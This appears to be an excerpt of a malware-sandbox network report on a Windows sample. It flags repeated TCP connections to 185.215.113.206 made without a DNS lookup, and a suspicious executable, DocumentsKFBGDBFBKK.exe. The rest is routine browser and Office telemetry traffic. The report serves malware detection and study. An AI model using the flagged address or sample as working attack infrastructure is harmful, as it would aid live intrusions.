Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe

Code function: 20_2_001EE0C0 recv,recv,recv,recv,

20_2_001EE0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=sxBUYyGPB4eb3VE&MD=xZkMBfWK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A4078140C106EC03F536D2D0D356F1D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=05688ebeb5ae49f5c70808e8056ec89d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG4y.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731781348341&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A4078140C106EC03F536D2D0D356F1D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=16Ef923e810bfd5306d50c71731781349; XID=16Ef923e810bfd5306d50c71731781349
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3A4078140C106EC03F536D2D0D356F1D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=56aa42db63824b02b9faabe16426a3a2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
